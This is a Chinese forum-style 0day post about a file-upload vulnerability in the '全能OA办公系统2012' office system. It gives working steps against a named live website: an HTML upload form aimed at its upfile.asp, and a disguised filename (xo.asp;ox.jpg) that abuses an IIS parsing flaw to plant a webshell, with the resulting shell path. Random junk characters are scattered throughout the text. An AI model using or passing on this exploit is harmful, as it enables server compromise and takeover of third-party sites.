全能OA办公系统0day OA办公系统漏洞 上传漏洞

admin

全能OA办公系统 上传漏洞
! c- @$ @: Z2 `& U​
系统介绍：
5 l- f" }8 z- W' i9 L* s9 g
全能OA办公系统2012是功能非常强大的OA系统，目前功能已完全能满足日常办公需要。
' O$ i/ M$ U/ P# U
主要功能：
公司通告
8 N1 i3 s9 t; ^工作计划
% W5 }$ p. v) L7 n通讯助理
客户资源
6 s7 |' H; S9 \我的公文
2 [) D" L: w3 c' J公文传阅
公共资源
资源预约
今日考勤
5 {2 @$ H; P9 o* C- T7 [个人计划
个人通讯录
个人基本档案
  V% m1 `) f9 f& J: ~未读邮件
发邮件
5 a6 C: \7 C" w# G' R) u% B收件夹
寄件夹
9 w) E+ i% D1 `( e( u# a, M' h5 \网络硬盘
网络会议
网络调查
1 J8 b8 o, B7 d1 r9 j2 O0 u交流论坛

, w6 P4 ]8 c& S$ g& M; O9 C& \' l有兴趣测试的朋友可以下源码看看

4 a# s+ @1 x5 f# b源码下载：
: I% t5 N7 k7 }7 A7 r; ~. Z
9 I2 T1 ~& @' I+ Uhttp://www.mycodes.net/30/4750.htm

漏洞介绍：
. A% F/ c) Q: ?0 j8 T
由upfile.asp上传文件漏洞引起

9 V$ e# ^" D' a3 r测试方法：
  o2 ^' O$ g: p' y& H
使用名小子上传http://www.itlynn.com/upfile.asp即可

+ l! n: g7 j8 R0 M8 ~( Z& N0 u' n如果upfile.asp文件被删除不存在。

  g+ N* Z6 Z1 ^) T0 Q  那么可以试着访问http://www.itlynn.com/upfile/upfile.asp 。
* U" B+ y  M) n$ F
如果存在那么将如下代码保存为upfile.html。
5 p# s' b2 E% g
然后将action的参数修改为目标站点的url。例如 http://www.itlynn.com/upfile/upfile.asp。
, J- b$ Q4 s2 C7 V) |3 G2 T/ A: N; p% V
. M. e* n4 f: u& \8 d

" }# n9 Y7 ]8 T& i7 \0 u1 A) G9 k01 <table border='0' align="center" cellpadding="5">

02 <form method="POST"action="http://www.itlynn.com/upfile/upfile.asp"enctype="multipart/form-data"id="form1"name="form1">
3 o; Q' L9 c8 L$ H" z
03 <tr>

4 h# ]2 D8 E5 U7 O4 e" K9 s$ W" K( b1 n04             <td>报错：</td>
3 p- X% G, Y2 p& B
05             <td><input type='radio' name='errnumber' value='0'>
, p0 C% g, L( U" o2 _" y7 `. P' T
% C( i" W1 l+ g/ n, }06               自动更名
+ |- W1 H! f/ Q0 V5 [; \
2 X- u: ^9 C. [9 J/ ]6 }07               <input type='radio' name='errnumber' value='1' checked>
( }4 B+ y: |: a
9 N- }3 J% s# R2 a/ o, v08               报错方式
/ W+ N0 Q2 F1 L  ?7 }& |
09               <input type='radio' name='errnumber' value='2'>
3 Y3 [# w& X7 a2 w  _: s
7 k0 F% e, n7 w& B  `  P10               直接覆盖</td>

7 t! N  `2 ?2 i/ l11           </tr>

( ~% t$ n9 k) h. D- E12           <tr>

13             <td>主题：</td>
2 ^: @, G& l3 i2 I- I' x, O
' w# U9 N/ ~" H: Q1 E$ ?' [, V3 ^14             <td><input type='text' name='filename' size='30'></td>

15           </tr>

16           <tr>
, O$ k5 W. j$ R2 v/ r
) K  v2 r, R- s% L  p17             <td>文件：</td>

18             <td><input type="file"name="fruit"size="30"></td>
  `$ h; w! t6 n8 H2 p
19           </tr>

20           <tr>
/ a0 B/ \. q7 O$ A, x
5 O$ \7 V" @2 D: }21             <td valign='top'>简介：</td>
: r8 u; H6 |4 N" s7 k( q
22             <td><textarea name='fileExt' cols='40' rows='5'></textarea></td>

23           </tr>

9 G% \4 d0 z% f! s24   

8 o) T4 C+ x1 ~& _: O4 j25             <td colspan='2'><input type="submit" value="上传文件" name="subbutt"></td>
) Y& @% X  u* _( w) k1 W+ p* k
26           </tr>

* f/ s1 v8 C; ^$ E27         </form>
/ l1 a4 K: Z( u- y5 P( ?
然后打开上传一个文件名为xo.asp;ox.jpg的文件。
+ q% F) d+ N9 u7 P) S! \


上传成功后，马的路径是：http://www.itlynn.com/upfile/savepath/xo.asp;ox.jpg

此漏洞需要配合解析漏洞利用。
( I% ]  D9 `) a. ~
3 }9 ?( i/ H# U7 {0 a& ]1 {